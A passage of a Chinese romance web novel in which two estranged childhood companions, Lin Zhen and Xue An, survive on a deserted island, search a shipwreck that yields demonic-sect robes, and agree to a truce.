《与死对头一起荒岛求生》
3. 流落荒岛(3)
第二日清晨,林间满是潮湿清新的气息。露珠悬挂在巴掌大的叶片上,摇摇欲坠。鸟儿雀儿站在树梢,叽叽喳喳吵闹个不停。
林蓁伸了个懒腰,双手撑地颇为艰难地起床。
躺在不算平坦的坚硬石头上睡了一晚,整个身子就像被人揍了一顿,腰酸背痛。
喉间干渴,肚子也瘪了下去。
槐树上空荡荡的,不知薛岸又去了何处。
林蓁受伤的右脚轻轻踩地,试探着走了几步。该说不说,她的恢复力很强。走起来虽有轻微不适,一瘸一拐的,但已经没有太大影响了。
她嘴巴干燥的起皮,见周围的草叶上满是露珠,忍不住把嘴唇贴上去吮吸。
可吸了好几片叶子,除了嘴唇湿润了些,喉咙仍是跟火烧一般。
地面湿漉漉的,有一串明显的脚印从槐树下一路向外延伸。
林蓁顺着脚印一路走。
约莫半柱香的时间,看到边上灌木丛生着许多鲜红的浆果,一串串挂下来,十分诱人。
她咽了口口水,忍不住摘下来一串闻了闻,几乎没什么味道。
小时候她常常在野外玩耍,休息的时候,就摘一兜子野果,躺在一山坡上一粒一粒往嘴里塞。
野果吃过不少,哪些能吃哪些不能吃她却还是分辨不出来。因为那会都是跟薛岸摘给她的。
现在想想,小时候的薛岸还是很可爱的,跟现在的模样大为不同。
二人第一次见面时,她才六岁,刚刚记事的年纪,薛岸跟他一样的年纪。听爹娘说,还大她两月呢。
那时,神色冰冷的白衣女子一把扯出躲在她身后的小男孩,将他托付给了爹娘,随即转身离开。
小男孩嚎啕大哭,女人却连个眼神都没过他,径直骑上马离开了。
小薛岸长的瘦瘦小小,个子都没她高,胆子还小,她家的两只看门大黄狗一叫,就吓得直哭,连院门都不敢进。
恰逢那会她小妹刚出生,且是未足月就生了的,身子骨极差,打娘胎里就不怎么健康。胳膊细的仿佛一根手指就能折断,连进气出气都很微弱。
林蓁一脸好奇地站在放着小娃娃的篮子边看了一会,那小娃娃就哇哇直哭,哭的快要断气似的。
爹娘将她赶了出去,说小妹病好前她都不允许进屋。两人为此事找了许多大夫郎中,忙的焦头烂额,对她忽视了许多。
林蓁哪是耐得住寂寞的性子,听到有个年纪跟她差不多大的孩子能跟她做伴,自然很开心。
把那两条汪汪直叫唤的大黄狗赶进笼子后,对谁都不爱搭理的小薛岸终于愿意开口跟她讲话了。
自那以后,日日一步一趋的跟在她身后。
她也成日带着薛岸出去疯玩,天刚亮就出门,一直到在外面待到太阳落山才舍得回去。
薛岸那会可听她的话,让他往东绝不往西。
她指挥的也头头是道,结果就是薛岸抓鱼上树样样精通,灵活的像山林里的猴子。她却连哪些野果能吃哪些不能吃都还分不出来。
可自从薛岸离开她家后,过几年再回来时,脾气就完全变了,常常用话刺她不说,眼神还总是阴沉沉的,她看着相当不舒服。
林蓁微微叹了口气,直起身,用手指拨弄了一下浆果。
这么一想,倒是发现这串浆果跟她小时候吃的有些像。肚子已经饿到再走上几步路,就要躺地上动不了了。
她就不信她会这么倒霉。反正不被毒死,她也要渴死饿死了。
林蓁摘下一颗浆果,正准备放进口中。
忽然,一颗小石子从远处飞来,正正打在她手背上。
“啊!”
林蓁痛呼一声,手背麻了一片,手中浆果也随之脱落,直直摔在地上,滚落一地。
薛岸缓步从一颗树后走出。
林蓁揉着手背,不满道:“你打的我的手好痛!”
薛岸也不看她,只冷冷道:“那是南天竹,有毒。我若是晚到一步,你已经死了。再说,我从前不是告诉过你,哪些果子能吃吗?你到底有没有动过脑子?”
“那以前不是有你在么!不是你说的,会一直给我摘果子的吗?”突然被凶了一通,林蓁脸色也不好看起来。
她扭过头去,冷哼一声:“明明是你食言,反倒怪起我来了。”
说完,她头也不回地朝前走去,“啪叽”将地上的果子踩的稀烂。
薛岸身形微微一顿,停在原地,看着那抹一瘸一拐的青色身影离开越来越远。
片刻后,他轻叹口气,追了上去。
林中气息清新宜人,可林蓁心中却烦闷不已。
她有气无力的将一颗小石子踢飞后,一屁股坐到路边的小山坡上。坐了一会,又觉得费力,干脆躺平了,闭上眼,任由衣物被清晨的露水打湿。
耳边传来沙沙的脚步声,一直走到她身旁才停下。随即身边的土坡微微塌陷,那人坐了下来。
不用想也知道是谁。
她翻了个身,背对着那人,将袖子盖在脸上。
身边传来轻微响动,有什么东西被搁在她脑袋旁,薛岸淡淡的嗓音从头顶传来:“吃的我放这里,等你腿伤好了,我们就去找离开这里的办法。”
林蓁好半天没说话,直到听到这人起身要走的声音,才转过身,扯住薛岸的衣摆。
“喂!所以你有离开的方法了?”
薛岸停下脚步,转身看着她,幽深的眸子里没有情绪,他淡淡道:“没有。”
林蓁气笑了:“那你还……算了算了,我大人有大量,不跟你计较。我呢……就是想知道,你到底为何要害我至此?我记得我没得罪过你吧。”
薛岸微微一愣:“你这话是何意?”
“不是你写信给我,说要带我去苏城安顿的吗?”林蓁一骨碌翻身爬起来,满脸狐疑的看着他,“你现在要翻脸不认账了是吗?”
“什么信?”薛岸蹙眉,朝她伸手,“现在在你身上吗,给我看看。”
林蓁摊开双手,“没有,我当时看信,顺手烧了,要是爹娘看到,我那还跑的掉啊。”
“况且那就是你的字,我怎么会认不出来?当初还是我教你写字的呢。”
薛岸并未回答,走到一旁,朝着一个方向看了看,陷入了沉思。
林蓁见他不像说假话的样子,也有些搞不清了。她脾气或许不讨人喜欢,但得罪人的事绝对一件也没干过。
莫非是爹娘的仇人?林蓁用手指挠挠唇角,想了半天,也没想明白。
肚子忽然叫了起来,如今太阳已经升到正中。算起来,她已经有整整一天半未进过食,除了昨天吃了个不怎么顶饱的果子。
方才薛岸给她的吃食用芭蕉叶包起来,不过一个巴掌大
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。
林蓁打开一看,发现里面是几十颗红艳艳的浆果,看着跟她方才找的没什么区别。
不做他想,林蓁几口吞吃下肚,舔了舔嘴唇,叹了口气,连什么味都没尝出来就没了。
好在现在太阳大,不然吃完这些,就是又冷又饿,心都凉了。
她站起来,拍掉身上沾着的草叶跟泥土,走到薛岸旁边,抬眼去瞧他。
说起来,她其实根本没怎么认真看过薛岸长大后的模样。
五官长开后,一丝稚嫩的气息都无了,眉毛又浓又长,眼睛深黑,唇角弧度锋利,面无表情的时候,看着很凶,身上有种不近人情的气质。
跟小时候的薛岸完全不同,虽然小薛岸也不爱说话,常常看着天空沉默,但被她逗一下,就会红着脸笑出声。
而现在的薛岸,个子高了许多,她得抬着眼看他。整个人都阴沉沉的,那双眼睛里似乎蕴含了许多她看不懂的情绪。
总之,看到这样的人,没有人会自讨没趣跟他聊天谈话的。
而这人,此时脸色苍白,嘴唇干涩起皮,眼圈青黑,眉头紧紧皱着,左手无意识的搭在腹部,微微握拳。
任谁看了,都知道他此时身体并不舒服。
林蓁心中忽然一动,这人不会自己还没吃东西吧!
说起来,她一路当时从海里一路漂流下来,撞伤了腿,这人就算武功再高,也不可能一点事没有。昨晚想来也没怎么休息。
到底是幼时玩伴,多少还是有点情谊在的。
她放软声音,关心道:“你没事吧,要不要先去休息会?”
说着,她伸出手搭在薛岸小臂上,作势要扶他。
“滚开!”
谁知她手刚放上去,就被猛地挥开。
她向后趔趄两步,没站稳,跌到地上。
好在地上有厚厚一层草叶,倒没摔痛。
林蓁坐在地上,拉下脸,冲他吼道:“你有病吧!好端端的,突然你推我做什么?”
薛岸垂着脑袋,看不清神色,只能看见下颚紧紧绷着,显然并不怎么好。
他胸口剧烈起伏了几下,双手握拳放在身侧,微微颤动,一句话没说。
半晌,提步朝远处走去。
“你去哪?”林蓁在他身后问道。
薛岸并不睬她,径自走远了。
林蓁气的胸口痛,脸色涨红,恶狠狠捶了几下地。
好你个薛岸,给我等着!
天空中逐渐聚起乌云,明明方才还晴空万里,现在却说变就变,乌云密布,风吹在脸上,又湿又冷。
想到昨日那种淋了雨的衣裳贴在身上的湿黏感,林蓁就觉得有虫子在身上爬。
她打了个抖,连忙顺着来时路往回走。
到了之后,石壁处空无一人,跟她早晨出去时一模一样。
原以为薛岸会先回来,也不知这人又跑哪去了。
趁着雨还没落下来,林蓁跑到林子里面捡了些细的干柴回来。
路过一处荆棘从时,意外发现旁边有不少干草,被晒过后有股青草与太阳混合的独特气味,令人安心。
林蓁心里一喜。
这可是好东西!
之前睡觉时不用硌着屁股了。
她把这堆干草全部堆在一起,去树下找了根藤蔓将干草捆起来,背在背上,一并带了回去。
4. 流落荒岛(4)
还未走到石壁处,远远的,林蓁就看到薛岸那抹黑色身影。
这人坐在石壁下,重新升起了火,脸庞被火光印的通红,更显眉目深邃。正面无表情地拿着一根细长树枝在火堆里面拨动。
听到动静,他抬头看了过来,下一瞬,就拧起眉头冷声道:“你腿伤还未好全就跑来跑去的,也不怕你这腿彻底废了?”
“谁要你管了!你是我爹还是我娘?!”林蓁回呛道。
不过再见到这人衣衫凌乱,苍白的脸上沾了灰,原本顺滑的头发也乱糟糟的翘起来后,她噤了声。
即使再如何强撑着,她也能看出来他的虚弱与狼狈。
视线对上他黑沉沉的眼睛。
林蓁抿抿唇,冷哼一声,终究没再作声,只自顾自把干草背进石壁。
她将干草均匀平铺在里侧,跟火堆隔着些距离,防止被火堆点燃,又将怀里的干柴全部堆到另一侧。
收拾好后,她拍拍手,才坐了下来。
有了干草垫在身下,虽然还是有些扎肉,但比之前好了不是一星半点。
方才免不了还是被淋了些雨,此时整个手都是冰凉的,她伸手放到火堆上方烘烤。
烤了一会火,血色总算重新回到她脸上。
她拍拍脸颊,活动着僵硬的身体。
薛岸此时从火堆里面拨出来一个黑漆漆的巴掌大的东西。
身体温暖起来后,心里也跟着暖洋洋的。方才的不快已被林蓁抛却脑后,她此时心情好到能大赦天下。
见薛岸一直对着那个黑球捣鼓,林蓁忍不住坐到他旁边,看着那东西好奇地问道:“这是何物?”
薛岸换了一个稍粗些的木棍,对着那黑漆漆的东西一阵敲打。
片刻后,他猛地用削尖的树枝一叉,将黑球里面的东西戳出来,递到她眼前。
林蓁也不客气,接过来,努力分辨半晌——似乎是某种贝类,已经被火烤到看不出原本的模样。
薛岸平静道:“吃吧。”
说着,又从火堆里掏出来一个黑球,继续捣鼓。
林蓁:“……”
她试探着用指尖戳了戳这黑乎乎的东西,完全看不出哪里能吃。
薛岸平静地叉起另外一只,面无表情的塞进嘴里,嚼了几下,“咕咚”一声吞进肚子。
吃完后,他又神色自若的继续在火堆里翻动。
林蓁看的叹为观止,她重新将视线转回眼前这坨黑乎乎的东西上,狠下心来,张嘴咬了一口。
……没咬动,牙还差点被崩飞。
这东西又咸又苦,色香味俱无,吃了会看不见明日的太阳的那种。
“噗…呸呸!”林蓁一口将嘴里的东西吐了出来,那种咸涩的味道还在嘴里久久挥之不去。
她整张脸都皱成一团,将剩下的一半抛了回去。
薛岸皱着眉看她,眼中透露着算不上赞同的眼神,似乎是觉得她过于娇气。
林蓁才不管这么多,她躺到干草上,翻了个身,背对着薛岸说道:“我吃饱了,你自己吃吧。”
说完,闭上眼睛,伴随着耳旁火堆燃烧的“噼啪”声,两眼一闭睡了过去。
她这一点倒是很不错,就是对任何事接受能力都很强,比如现在即使饿着肚子,她也未特别郁闷。
林蓁是被右脚脚踝传来的钝痛疼醒的。
还真让薛岸说准了,她的右脚脚踝发了炎,高高肿了起来。
此时天色已完全暗了下来。雨已经停了,乌云却并未散开。春雨总这样,一下起来就持续好多天。
薛岸坐在角落处,借着火光,正在用一把小刀削木头,削成一根根筷子模样的长条。他旁边还放着两个凿的坑坑洼洼,不甚美观的石碗。
她掀开衣角,看到自己脚踝微微肿了起来。
薛岸此时也看了过去,看到那光洁如玉的脚踝后,微微一顿,很快将目光移开了。
林蓁的脚本就受伤,今天又是跑又是跳的,走了许多路,这会脚踝承受不住,所有病症加在一块反弹回来。
她右脚稍一落地就会产生明显痛意。
之后的三日,只能乖乖待在石壁下,哪也去不了。
除了吃薛岸外出带回来的浆果或者烧相当难吃的贝壳之外,只能睡觉。
白天薛岸去林子里或者海边找吃的,傍晚借着火光做些手工。
薛岸还找了许多绿色的不知名草药,用石头捣碎了,让她敷在腿上。
草药冰冰凉凉,很大程度缓解了痛意。
林蓁是个闲不住的人,如果不是薛岸看她的眼神相当不善,她估计又得上外面跑。
薛岸从外面找来许多藤蔓编篮子,她看着学一会后,也拿过来跟着一起编,等大大小小的做了六、七个篮子后,她的脚伤终于彻底恢复。
只是林蓁虽然脚伤恢复了,气色却没比之前好多少,这些天吃的大部分都是浆果,味道酸酸甜甜的确实挺好吃,可压根就没有油水。
薛岸也并未比她好多少,脸色愈发苍白,眉头紧紧压着,额头上仿佛酝酿着乌云。
一个人,若是吃不好睡不好,脾气就会阴晴不定。
林蓁摇摇头,识趣的没有刺他,两人之间的气氛难得和谐许多。
这日,薛岸直到天黑才返回石壁下,林蓁正在往火堆里加柴火。
薛岸进来的时候,身上带着海风潮湿的气息,脸色难得不错,唇角微微勾起,整张脸都舒展开来,看得林蓁心下都微微放松起来。
薛岸的样貌其实相当不错,武功又高,惩奸除恶也让他在武林中声名鹊起。
若非他常常冷着脸,不近人情,想必有许多女儿家愿意跟他亲近。
林蓁微微叹了口气,不过他这样的脾气,又有哪个姑娘受得了呢。
薛岸见她盯着他出神,眼中透露的情绪明显不是什么好事,脸色顿时沉了下来。
冷冷说了句在岸边发现了船只残骸,就回到他一贯坐的地方低头捣鼓。
林蓁听了这个好消息,很是高兴了一番,完全没有因为他的态度而生气。
要知道,船上可是有不少船员们囤积的干粮。虽然味道比不上她平时爹娘烧的那些,但比起她现在吃的,肯定绰绰有余。
第二日一大早,林蓁就被麻雀跟灰喜鹊“吱吱喳喳”的叫声吵醒。
她并未像往常一样对着那群吵闹不已的鸟儿扔石子驱赶,呆呆的爬起来,盯着石壁外面一动不动。
今日天光晴朗,日光洒落在盛着露珠的草叶上,反射出细碎微光。
薛岸已经醒了,拿了一根长树枝做剑。
点,挑,刺。
一遍遍不厌烦地练习。身姿轻盈,动作凌厉,树枝在空中不断发出的“哔卟”的破空声。
林
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蓁盯着他看了一阵,才伸手揉了揉眼睛,慢悠悠从厚实的干草上爬起来。
薛岸不知从哪打来了清泉水,放在石壁角落清理干净的凹槽处,量不多,只够她粗略洗漱一番。
冰凉沁骨的泉水扑在脸上,林蓁彻底清醒过来。
这几日连外出都不曾有过,更别说洗漱身子,就连衣裳味道都快发酸了,她穿着也难受。
也是时候找个时间好好梳洗一番。
等她收拾好后,薛岸早已收起树枝,抱臂斜靠在一株槐树下,左腿微微曲起,眼睛半阖着休息。
见她出来,说道:“你好了?走吧。”
说完,一抬下巴,径自抬步朝前走去。
林蓁不计较他的冷漠,颇兴冲冲地跟在他身后。
“喂!薛岸,你的水在哪儿打的?等会也带我去呗。”
一路走来,林蓁并未看见哪里有山泉水的影子。
“往西面走五里,你要去就自己去,我在地上做了记号。”
“哦。”
过了一会。
林蓁停下来,弯腰锤着因长时间不动而僵硬的小腿:“还没到吗?我腿酸,快要走不动了。”
薛岸听到动静,回头蹙眉道:“你若是走不了,就回去待着。”
“那可不行,我就是说着玩的。”林蓁直起身,咬咬牙,小跑着跟了上去。
这些日子一直在受薛岸接济,正所谓拿人手短吃人嘴软,她也从不说什么。
只不过这种日子她实在不爱过,说到底,比不上她自给自足来的好。
因此她腿伤一好,就迫不及待的让薛岸带上她一起去。
又走了半刻,远远看见远处湛蓝的海面,腥咸的海风吹来,林蓁不禁沉下肩膀,深深吸了好几口气。
方才的疲惫瞬间烟消云散。
此刻阳光正好,轻柔的照在身上,暖洋洋的,即使晒久了也不会发烫。
她一路小跑到海滩边,青色衣诀翻飞,两手撑在额上往远处看。
隐约能看到远处有深色船只的影子。
“是那里吧!”林蓁指着那处地方肯定道,回头去看薛岸,恰好捕捉到薛岸唇边那瞬间一闪而过的笑意。
锋利的五官在那一刻似冰雪消融般变得温和轻柔,黑色眼眸中闪烁着细碎微光,黑衣墨发随风飘荡。
他皮肤本就苍白,肩膀宽阔,更显得被蹀躞带紧紧系着的腰身纤瘦。二者一衬,倒显出些病态的美感来。
林蓁微微愣住。
只一霎,这人见她回过头来,就立刻收起笑意,板起脸来。
林蓁:“……”至于这么不喜她吗?
见他点头,林蓁亦不再多说,加快步伐朝船只残骸走去。
薛岸看着她沉寂下来的背影,神色微凝。
片刻后,他似了然一般,放慢脚步。
他明白,这是不想跟他同路的意思。
薄唇紧抿,方才心中那抹轻快随着那抹青色身影远去,也跟着一起远去了。
他自嘲般冷笑一声,沉默不语地朝前走去。
等到走近,林蓁心中的微弱希望又跟泡沫一样幻灭了。
她当时泡在海面上看的时候,这艘船还处在一种经过修缮,能够重新使用的状态。
现在一看,整个船身都破损了,只余下一半的船身搁浅在沙滩上,另外一半不知飘去了何处。
5.船只残骸(1)
林蓁围着半艘船转悠一圈,总算找到在靠近海的那侧找到一个能勉强进入的破洞。
她躬着身轻手轻脚往里钻。
客船内部也基本完全损毁,一道亮光顺着顶上的破洞照亮了船舱,灰尘在空中漂浮。角落孤零零躺着几把断腿小木凳,木质舷墙大片脱落散落一地,连下脚都困难。
地面上还有一层薄薄的积水,踩上去又湿又黏,“啪叽”作响。
更不幸的是,这半艘船还是不包含厨房的那半艘。
林蓁背靠船身,找了个空旷干燥的地方,脸皱成一团,双眼无神的跌坐在地。
呜呜呜……
这下填饱肚子的希望彻底没了!
倒在地上颓废了片刻,她又重新打起精神,爬了起来。
这里虽没有厨房,但好在还有几间舱房。
最近的舱房只剩下半扇门,门框的钉子也松了一半,门匾在半空中摇摇欲坠。
风一吹,“嘎吱嘎吱”的直晃悠。
林蓁将那块门匾用力拆了下来,丢到一旁,这才小心翼翼地推开门朝里走。
卧房内部倒比外面的情况好许多,整体还算完整。只不过也是窗户大开,床铺散发出一股被打湿后经久不干的水臭味。
林蓁粗略逛了一圈,并未看到什么有用的物资。
桌上倒是放着几块干饼子——现在不能叫干饼子了,被海水泡的鼓囊囊的,腐烂腥臭的气味直冲脑门。
“呕……”林蓁干呕一声,被熏的眼泪差点流出来。
她迅速捂住鼻子,另一只手用两根手指翻动着柜子,极为谨慎地将整个房间都搜罗一遍。
最终只在木柜的最下面一层找到一个上锁的木头箱子。
用石头用力敲掉锁头后,林蓁打开箱子。
里面躺着几件折叠好的纯黑色的衣袍,折痕崭新。因被锁在箱子里,所以并未打湿。
她提起衣裳抖索。
“啪!”
一块木牌从里面掉了出来,摔在地上滚了一圈,最终停在她脚边。
林蓁将木牌捡起来,见上面刻着玄蛇图案,头尾相连,形成一个不规则的圆形。
显然,这是魔教的衣袍。
她微微一顿。
没想到魔教之人出门还挺讲究的,居然还会带几件备用衣物更换。
现下,这几件衣袍都是她的了。
武林盟对魔教之人多有忌讳,平日里就连被他们碰过的东西都要烧掉。
不过她已沦落至此,也顾不上忌讳不忌讳的了,能有衣裳换就不错了。
她身上的衣衫都要馊了,若是再不清洗一番,连她自己都要被腌入味了。
等她抱着所有衣物朝外走时,薛岸才姗姗来迟,踱着步子慢悠悠晃进船舱。
两人四目相对。
薛岸站在破洞口,维持着一只脚迈进船舱姿势。
“让开!”林蓁不客气道。
薛岸并未开口,一动不动,整个身子堵在门口,将外面的光遮的严严实实。
“我要出去,”林蓁用手肘顶了一下他腹部,“起开!”
手肘处触感跟石头一样硬,薛岸仍是纹丝不动,见她要发火,才缓缓开口:“话说,好像是我先进来的吧,要让也是你让开。”
“谁管你?”林蓁双手抱着衣物,不方便动作,脑袋朝前恶狠狠撞了下他胸口。
“嘶——”薛岸倒吸一口凉气,痛的脸色一白。
但仍是不为所动。
林蓁:“……”
她把怀里的衣裳往半张木桌上一扔,拍拍手:“行,那我不走了。你给我听着,我以后就在这住下了!”
“你想要什么东西,看上了就拿走,最好一次性拿完,以后啊,咱们各过各的!”
既然两人相看两厌,倒不如眼不见心不烦。
这艘船虽然破了些,却也勉强也能住下。
就是到时候,恐怕得找几块木板补一下船顶。
薛岸闻言,终于有了动作,他微微侧身走了进来,先是走到窗边看了眼粼粼波动的海面,又看向她,半晌才点点头道:“也好,再过几日就涨潮了,说不定到时候你还能顺着潮水飘回武城。”
林蓁:“……”
这种回家的可能性有比零多一点吗?
林蓁摆摆手:“算了算了,我还是回去住吧,这里让给你了。”
说完,她继续去下个房间搜索。
薛岸见状,也去其他房间搜索。
等到差不多拿不下了,就将东西带回石壁处。
两人从船只残骸到石壁来回好几趟,几乎要将船给搬空了。
到后面,薛岸甚至搬了许多没怎么被水打湿的木板回去。
结束后,天色已微微暗了下来。
林蓁回到石壁处,放下从船内搜刮回来的木盆,锤着腰酸背痛的身子,坐到火堆旁烤火。
旁边还放着两条用细木枝串起来的烤鱼。
薛岸回来的比她早,此时已用过饭,正在用锤子把半块破烂船帆钉到石壁外面。
晚上睡觉时,他们二人常常会被风吹醒,若有块布挡着,多少也能遮些风雨。
也不知他从哪个角落找来的这些锤子凿子的石制工具。不过有了这些东西,倒是更方便他做活计。
林蓁知道他自幼喜欢捣鼓这些,也随他去了。
这几日,因为一直下雨,没办法去到太远的地方,林蓁已经好几日未曾沾过荤腥,这会闻着烤鱼的香气,口中已自动分泌出津液。
她伸手拿起冒着热气的烤鱼,就算没有调味,也吃的津津有味。
这鱼味道鲜美,个头大,刺还少,除了中间的大骨几乎没什么小刺。
薛岸这几日的厨艺也有很大提升,整条鱼被烤的外焦里嫩,鲜香酥脆。
一连两条下肚,林蓁小腹都微微鼓了起来。
她坐着休息片刻,伸手取了一件黑色袍子,起身沿着地上的十字标记朝泉边走。
路过在外面忙活的薛岸时,他抬头看了她一眼,并未说话,眼中也没有什么情绪,没看到她一般低头去,继续忙手上的活。
林蓁撇撇嘴,径自走远了。
约莫一刻钟,眼前豁然开朗,一片清幽的池子映入眼帘,清泉在月下反射着镜子碎片般细碎的微光。
周围更是奇花闪灼,即使天色暗淡也阻挡不住这耀目的景色。鸟鸣清脆悦耳,微凉的风携带着清泉的气息扑面而来,极为清幽怡人。
林蓁驻足片刻,忍不住暗暗感慨,想不到这座岛上居然还
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有这般美景。
可惜美景怡人,身旁却无佳人相伴,实在可惜。
她摇摇头,伸手褪去衣衫,用脚试探了下水温后,才将整个身子没入水中。
泉水被太阳晒过后,还未完全散去余温,带着微微暖意。
整个身子泡在里面,水流轻抚,仿佛有人在替她按摩一般,极大程度缓解了这几日她紧绷的神经与酸痛的身子。
口中止不住发出呻/吟,林蓁整个脑袋浸入水中,只觉畅快极了。
她把刚才捡来的皂荚掰断,用力搓出泡沫,涂抹在头发上。
天色彻底暗了下来,她一边拨水洗发,一边抬头朝远方望去。
隐约间,能听见野兽行动的窸窣动静。
不好!
刚才折腾的太久,竟然忘了这座岛上可是有野兽出没的。
她加快速度,清洗干净后,从水中一跃而出,卷起岸边的衣裳披好。
修长手指轻抚过衣袍,这衣料材质是上好的丝绸,触感细腻丝滑,穿在身上妥帖舒适。
低头一看,发现这衣裳腰间居然有细细金光闪烁,流光溢转,煞为精致。
林蓁仔细一瞧,认出这是一条用极细金丝编织的栩栩如生的玄蛇,在腰间绕了一圈。
若是白日,这件衣衫看起来与普通的黑色衣袍无异。唯有在夜晚,这金线才会在暗中散发亮光。
许是魔教之人总是夜间行动,有了这一特殊设计,他们行动时,才好辨认对方。
据说这衣裳还是上一任魔教宫主亲自操刀改良的。
那是十四年前的事了,彼时魔教在江湖中可谓臭名昭著,烧杀抢掠无恶不作,几乎搅的江湖中人日夜不得安宁。
那段日子称得上是人人自危,所有人只敢白日出行,天色稍有昏暗,便屋门紧闭大门不出。
直到他们被武林盟与其他门派掌门门主联手打败,那些人才得以安宁。
而那时的武林盟盟主,正是她爹林烽。
自此魔教群龙无首,如鸟兽散。
指尖扫过玄蛇纹路,林蓁眉头轻蹙。
这些事对她来说相当陌生,自她记事起,江湖已恢复平静如水的生活。
若非爹娘常在她耳边念叨,她恐怕连曾经有魔教之事都不知晓。
想到那日船上发生的事,林蓁忍不住微微叹了口气。
也不知魔教安分了这么多年,如今卷土重来到底是为何。
不知怎的,心底隐隐涌起一阵不安。
林蓁青丝散落,湿漉漉的顺着发尾一路往下滴水。
她将长发向后一拨,把换下来的青色长衫浸到水里,蹲下身伸手搓洗起来。
手上动作着,眼睛却下意识观察起这座岛屿来。
入目满是茂密的丛林,放目远眺,一眼望不到头。恐怕就算真有外人也在这座岛上,也不一定会被她碰见。
还记得当日落水后,除了他与薛岸外,还有武林盟与魔教之人共十几人。
只是不知,那些人都去哪了?还活着吗?是否也在这座荒岛上?
若是碰见武林盟的人,倒还好说,毕竟他们本就算得上是一家人。
可若是有魔教中人也在这座岛上……林蓁皱起眉。
只怕形势不容乐观。
6.池边“鬼”影
忽然,“咔嚓”一声,身后传来树枝被踩断的轻微响动。
“谁?”林蓁浑身一凛,瞬间回神,她警惕地回头,朝着声源看去。
暗夜中,榕树跟荆棘的暗影浓黑一片,向外生长的枝桠被风刮的簌簌作响,像极了鬼影在群魔乱舞。
“薛岸?”林蓁一阵牙酸,她站起身,又试探着问了一句。
冷风一吹,她背上瞬间起了一层鸡皮疙瘩。
依旧无人回应。
这个地方,除了薛岸,应该不会有其他人在了吧。
林蓁艰难咽了下口水。总、总不能她真说什么来什么,还真有其他人也在此处吧。
只不过,若是人倒还好说,要是遇到什么不干净的东西……
她心中一紧,狠狠打了个哆嗦。
她娘从小的爱好就是在夏日漆黑的夜晚,点上一盏烛火,摆上一圈小凳,给她,小妹,阿萝与薛岸四人讲鬼故事。
另外三人的神色是如出一辙的淡漠,只有她被吓的抱紧被子,晚上非得喊三个人一起睡才能安心。
此刻,那些鬼故事又清晰的浮现在她脑海,久久挥之不去,仿佛下一秒,就有张着血盆大口的长发鬼影从暗处朝她扑来。
林蓁艰难咽下一口唾沫,只觉喉中梗塞。
不行不行,不能这么吓自己。
她连连摇头,从岸边拾起一块石头,捏在手中,壮着胆子缓步朝那处靠近。
刚靠近几步。
“嗖——”的一声。
她立马举起石头朝着那处狠狠砸去。
一只灰野兔从荆棘从中窜出,堪堪避过石块,从她眼前一掠而过,倒腾着蹄子飞速钻进另一处草丛里去了。
林蓁:“……”
搞什么,原来是只兔子,害她虚惊一场。
她擦去额角冒出的冷汗,粗粗洗了一遍衣衫拧干,赶紧抱起来就顺着原路飞奔回去。
直到看见远处石壁散发着的温暖安宁的光,她才缓下步子。
薛岸坐在外面的一块平坦的大石头上,脚边堆着一小堆青色藤蔓,正低头用小刀将一点点将藤蔓上凸起的小刺削平。
他薄唇微抿,露出的侧脸沉静如水。
看见这一幕,林蓁那极速跳动的心脏不自觉平复下来。
薛岸原本就是闲而无事随意削着玩的,心并不在这上面。
因此他见林蓁回来,动作虽未停,注意力却早已投向她那边。
见她一路狂奔而来,脸颊酡红气喘吁吁,瞳孔因恐惧而轻微收缩,仿佛身后有洪水猛兽在追她一般,顿时吓了一跳,手中小刀一偏,在手背上划出一道口子。
伤口虽不深,却也很快渗出一层淡粉色的血迹来。
他仿若未觉,握紧手中小刀,翻身而起,落身到林蓁身前,朝后方看去。
那里空空如也。夜幕下,除了被晚风吹得沙沙作响的草叶与偶尔的虫鸣声,再无其他动静。
“出什么了事了?”薛岸见并无大碍,又放下心来,问道。
林蓁捂住嘴“啊”的惊叫一声。
薛岸立刻握紧刀,朝她那边看去。
“呃……”林蓁揉揉脑袋,有些尴尬,“我没什么事,就是你的手……”
薛岸随意低头看了一眼伤口,不甚在意地摇摇头:“我没事,小伤而已。”
“哦。”
林蓁伸出一根手指挠了挠下巴,悄咪咪观察着薛岸神色,末了,忽然微微一笑。
“哦——”她拉长音调,“我明白了,你方才是不是也一个人被吓到了?”
“也?”薛岸一愣。
说吓到倒不至于。他本以为是有野狼追来了。以他的实力,并非没有一战之力。
“咳咳咳……”林蓁猛地咳嗽几声,偏过头去,脸依旧是红的,不过这回,显然不是因为跑动泛起的红,而是某种被看穿的羞赧,耳朵也染上一层薄红。
她一股脑说道:“好啦好啦,你就别嘴硬了,真看不出来,原来你也怕一个人待着。”
“在这座岛上,猛兽之类的到还好说,若是遇见鬼魂,那可真是跑都跑不掉。娘说过的,你还记得吧,两个人在一起的话阳气旺,那些鬼魂就不敢靠近了。”
她一拍双手:“所以呢,我就大人有大量,你也不要小肚鸡肠了。”
她看着薛岸,郑重道:“薛岸,咱们暂时和好吧,至少在离岛前互帮互助,你觉得这样如何?”
薛岸并未回答,漆黑的眸子静静注视着林蓁。
“怎么了?”林蓁不自在的摸摸脸,掩唇咳了两声,略微抬高声音,“你说话啊,到底同不同意?”
薛岸这才移开视线,脑袋微不可察地轻轻点了两下。
这是同意了。
林蓁此时浑不在意他这副锯嘴葫芦样,喜滋滋的点点头。
只要没有鬼找上门,别的都好说。
薛岸见状,坐下准备继续削他未削完的藤蔓。
还未拿起小刀,手却忽地被一双柔软干燥的手握住了。
他动作一顿,整个人僵在原地。
熟悉的嗓音响起,仿佛是贴在他耳旁说的一般,温热气息滑溜溜地钻进耳朵,带着清泉与另一股好闻的说不出的幽香。
他微不可见的抖了下身子,只觉浑身不自在,心口似有小虫再爬,痒的他忍不住想用手去抓。
还没等他抬手,林蓁就制止了他的动作。
“先别动,你受伤了!”
薛岸看了眼自己手上的伤口,他在这方面有经验,知道这伤口就是看着吓人,算不上严重。
他不自在的动了动手指,想要抽回手,他微微偏过头去:“不用,这伤口不深,我一会自己处理。”
“这怎么行!”林蓁更加握紧他的手,“娘说过的,受了伤需得及时医治,有多少人找娘疗伤,因为拖着导致治好后仍旧烙下病根的。”
“而且,你有没有去看过自己的如今的模样,我真怕还没想到出岛的办法,你先死了。”
“到那时,我一个人可怎么办啊……”
林蓁说的唉声叹气,愁眉苦脸,极为真情实感。
薛岸:“……”
“好了好了,”林蓁尽量放软嗓音,“你听话啊,我帮你先把这伤给治了。”
两人既然结盟,她自然得拿出对待盟友的态度来对这人。
她像小时候那样拍拍他的脑袋:“之前你找的草药我记得还剩一些,我去给你拿来,你就别逞强了。”
“我真的不用。”薛岸这回终于抽回了手,他摇摇头,眼眸低垂,仍是拒绝。
